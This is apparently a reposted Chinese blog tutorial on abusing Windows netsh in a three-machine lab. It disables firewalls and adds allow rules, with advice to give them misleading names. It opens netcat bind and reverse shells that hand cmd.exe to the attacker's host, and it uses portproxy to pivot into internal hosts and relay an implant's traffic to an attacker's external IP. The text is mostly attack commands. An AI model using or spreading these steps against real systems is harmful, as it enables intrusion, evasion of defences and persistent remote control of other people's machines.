天天看點

使用netsh來進行端口轉發

文章首發公衆号:無心的夢呓

使用netsh來進行端口轉發

此處文章不好排版,請移步到公衆号檢視

在曆史消息中搜尋:使用netsh來進行端口轉發

目錄

0x00 簡介

0x01 2003指令介紹

0x02 2003以後指令介紹(以08為例)

0x03 實際利用案例

0x04 流量轉發

正文

0x00 簡介

netsh(Network Shell) 是一個windows系統本身提供的功能強大的網絡配置指令行工具(來源于百度百科)。

注:

以下所有例子以三台機器為例來進行示範了

假設03和08為邊界機器,Ubuntu為内網機器

win2003 192.168.191.128

win2008 192.168.191.131

Ubuntu 192.168.191.130

PS:為了幫助大家了解,03和08的例子采用了兩種檢視指令執行結果的方式

0x01 2003指令介紹

基本介紹

netsh firewall show state 檢視系統防火牆狀态

使用netsh來進行端口轉發

netsh firewall set opmode disable 關閉防火牆

使用netsh來進行端口轉發

netsh firewall set opmode enable 開啟防火牆

使用netsh來進行端口轉發

設定進出站規則

根據端口

netsh firewall add portopening 協定 端口 名字

協定:TCP/UDP/ALL

端口:1-65535

名字:随意,最好使用一些有迷惑性的

netsh firewall add portopening tcp 333 test添加規則

使用netsh來進行端口轉發

netsh firewall delete portopening tcp 333 删除規則

使用netsh來進行端口轉發

根據程序

netsh firewall add allowedprogram 位置名字 允許與否

netsh firewall add allowedprogram c://nc.exe test enable 添加規則

使用netsh來進行端口轉發
使用netsh來進行端口轉發

netsh firewall delete allowedprogram c:\nc.exe 删除規則

使用netsh來進行端口轉發

部分單詞也不需要全部記住,知道開頭的内容,後面靠幫助資訊進行操作就可以了

使用netsh來進行端口轉發

0x02 2003以後指令介紹(以08為例)

netsh advfirewall show allprofiles 檢視所有類型的防火牆狀态

使用netsh來進行端口轉發

netsh advfirewall set allprofiles state off 關閉防火牆

使用netsh來進行端口轉發

netsh advfirewall set allprofiles state on 開啟防火牆

使用netsh來進行端口轉發

netsh advfirewall reset 重置防火牆規則(重置到剛裝好系統時的狀态)

使用netsh來進行端口轉發

設定進出站規則

根據端口

入站規則

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333 添加規則

使用netsh來進行端口轉發

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333 删除規則

使用netsh來進行端口轉發

出站規則

netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=333 添加規則

使用netsh來進行端口轉發

netsh advfirewall firewall delete rule name=test dir=out protocol=tcp localport=333 删除規則

使用netsh來進行端口轉發

根據程序

入站規則

netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\nc.exe 添加規則

使用netsh來進行端口轉發

netsh advfirewall firewall delete rule name=test dir=in program=c:\nc.exe 删除規則

使用netsh來進行端口轉發

出站規則

netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\nc.exe 添加規則

使用netsh來進行端口轉發

netsh advfirewall firewall delete rule name=test dir=out program=c:\nc.exe 删除規則

使用netsh來進行端口轉發

0x03 實際利用案例(以2008為例)

正向連接配接shell

netsh advfirewall firewall add rule name=ncdir=in action=allow protocol=tcp localport=333

使用netsh來進行端口轉發

nc.exe -lvp 333 -e cmd

使用netsh來進行端口轉發

回到攻擊機上

nc.exe -nv 192.168.191.131 333

使用netsh來進行端口轉發

雖然暫時不明白中間的報錯是因為什麼,但是是可以成功彈回shell的

使用netsh來進行端口轉發

最後一定要記得删除所添加的規則

netsh advfirewall firewall delete rule name=nc protocol=tcp localport=333

使用netsh來進行端口轉發

反向連接配接shell

首先在本地進行監聽

nc.exe -lvp 333

使用netsh來進行端口轉發

然後到08的機子上,添加規則

netsh advfirewall firewall add rule name=nc dir=out action=allow protocol=tcp localport=333

使用netsh來進行端口轉發

然後執行

nc.exe -nv 10.1.135.96 333 -e cmd

注:這裡10.1.135.96是我本地的機子

使用netsh來進行端口轉發

之後就能彈回來shell

使用netsh來進行端口轉發

最後不要忘了順手删掉添加的規則

使用netsh來進行端口轉發

通過添加程序的,跟這個同理

0x04 流量轉發

位址類型設定如下

使用netsh來進行端口轉發

将來自333端口的流量全部轉發到192.168.191.130的22端口

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

使用netsh來進行端口轉發

netsh interface portproxy show all 檢視所有轉發規則

使用netsh來進行端口轉發

添加完成之後一定要查一下端口有沒有起來

使用netsh來進行端口轉發

netsh interface portproxy delete v4tov4 listenport=333 删除轉發規則

使用netsh來進行端口轉發

使用端口轉發來連接配接内網機器

這裡以08為例

設定進站規則

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333

使用netsh來進行端口轉發

設定流量轉發

将所有來到333端口的流量全部轉發到192.168.191.130的22端口上

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

使用netsh來進行端口轉發

檢視是否添加成功,端口有沒有起來

使用netsh來進行端口轉發

然後連接配接192.168.191.131的333端口,就是連接配接内網中192.168.191.130的22端口

使用netsh來進行端口轉發
使用netsh來進行端口轉發

在結束之後,一定要順手把添加的規則都删除掉

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333

使用netsh來進行端口轉發

netsh interface portproxy delete v4tov4 listenport=333

使用netsh來進行端口轉發

如果内網機子不能正常連外網的話,也可以在邊界機器上使用流量轉發來進行連接配接,在内網機器上種馬,使其連接配接邊界機器的指定端口,然後在邊界機器将所有來自本地指定端口的流量,全部都轉發到攻擊者的外網主機上即可

即:

netsh interface portproxy add v4tov4 listenport=本地端口 listenaddress=本地IP connectaddress=攻擊者外網IP connectport=攻擊者外網端口

繼續閱讀